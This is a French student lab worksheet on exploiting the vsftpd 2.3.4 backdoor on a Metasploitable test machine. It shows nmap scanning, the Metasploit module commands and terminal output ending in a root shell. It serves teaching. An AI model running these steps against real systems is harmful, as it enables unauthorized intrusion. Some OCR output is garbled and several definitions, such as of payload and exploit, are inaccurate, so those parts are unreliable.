Fiche pratique n°3 : Exploitation d’une faille applicative via Metasploit(Framework)

1.3 Outils
Serveur FTP vulnérable : VSFTPd 2.3.4 via Metasploitable.
Outil d’exploitation de la vulnérabilité : Metasploit via Kali.
2 Recherches
Q1. Metasploit est un outil d’instrustion capable d’analyser, tester et exploiter des systemes et une grande variétés d’application 
Q2. 
Payload : 
Le payload est  un virus dissimulé et il peut être déclenché à tout moment notamment il peut agir en conséquence via des attaques informatiques.
Exploit :
Un exploit est un outil capable d’exploiter une vulnérabilité (une faille de sécurité) laissé par un hacker, la forme peut être soit un code ou soit un programme malveillant pour atteindre des données.
Backdoor : Prevoir un accès tenu secret vis-à-vis de l’utilisateur.
3 Manipulations
Travail à faire 2
Q4. RHOST Hote distant : Contient l’adresse IP de notre système cible
RPORT : Cette variable contient le numéro du port
A quoi sert la commande nmap ? 
Q5.Nmap est un scanner de ports libre.
Il est conçu pour détecter les ports ouverts, identifier les services hébergés et obtenir des informations sur le système d'exploitation d'un ordinateur distant.




Q6.
nmap –A 
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Permet de connaitre l’état, le service et le port 
3.2 Exploitation du Framework Metasploit
Depuis un terminal, il faut saisir la commande :
« Msfconsole
Puis, il faut selectionner l’exploit associé au service VsFTPD :
Use exploit
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 Les options disponibles pour l’exploitation d’une vulnérabilité sont visibiles à l’aide de la commande suivante :
Show options


A ce niveau, la commande info donne des détails sur la vulnérabilité exploitable
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La vulnérabilité concerné est une brèche ouverte sur le serveur VFPTD download, elle à été introduite dans le fichier compréssé : vsftpd-2.3.4.tar.gz archive
Le seul paramètre à indiquer est donc l’adresse distante : set RHOSTS 172.17.1.7
Une fois l’exploit chargé sur Metasploit, il ne reste plus qu’à lancer avec la commande : run
[image: ]
On peut voir tout les fichiers du  serveur et que l’ip à été changé
Travail à faire
Q8. L'acronyme CVE, pour Common Vulnerabilities and Exposures en anglais, désigne une liste publique de failles de sécurité informatique.
Q9. Les developpeurs sont aussi concernés     
Q10. C’est important que le système soit à jour car il ne faut pas negliger que cela ouvre une porte pour les hackers
Q11. On peut remarquer les fichiers de la machine cible, consulter les fichiers, on peut récupérer ces fichiers pour former une base de donnée confidentiels à la base pour la machine cible.
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-$ nmap -A 172.17.1.7
tarting Nmap 7.94SVN ( http
nap scan report for 172.17.1.7
ost is up (0.023s latency)

ot shown: 976 closed tcp ports (conn-refused)

//nmap.org ) at 2024-09-25 05:47 EDT

ORT  STATE SERVICE  VERSION
1/tcp  open ftp vsftpd 2.3.4
_ftp-anon: Anonymous FTP login allowed (FTP code 23
ftp-syst:

STAT:

FTP server status:
Connected to 172.17.10.25
Logged in as ftp
TYPE: ASCIT
No session bandwidth limit
Session timeout in seconds is 30
Control connection is plain text
Data connections will be plain text
VSFTPd 2.3.4 - secure, fast, stable
_End of status

2/tcp  open ssh OpensSH 4.7p1 Debian Subuntul (protocol 2.

ssh-hostkey:
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6 > use exploit/unix/ftp/vsftpd_234_backdoor

1 No payload configured, defaulting to cmd/unix/interact
o sxplu)((un)xlftplvsftpd 234_backdoor) > |
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msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution

Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cnd
Privileged: Yes
License: Metasploit Framework License (BSD
Rank: Excellent

Disclosed: 2011

Provided by:
hdm <xahdn. io>

.~
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Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

No payload configured, defaulting to cmd/unix/interact

6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.1.7
HOSTS = 172.17.1.7

5£6 exploit(unix/ftp/vsftpd_234_backdoor) > run

*1
S

[#] 172.17.1.7:21 - The port used by the backdoor bind listener is already open

[+] 172.17.1.7:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (172.17.10.25:34237 — 172.17.1.7:6200) at 2024-10-02 03:09:09
0400

1s
bin
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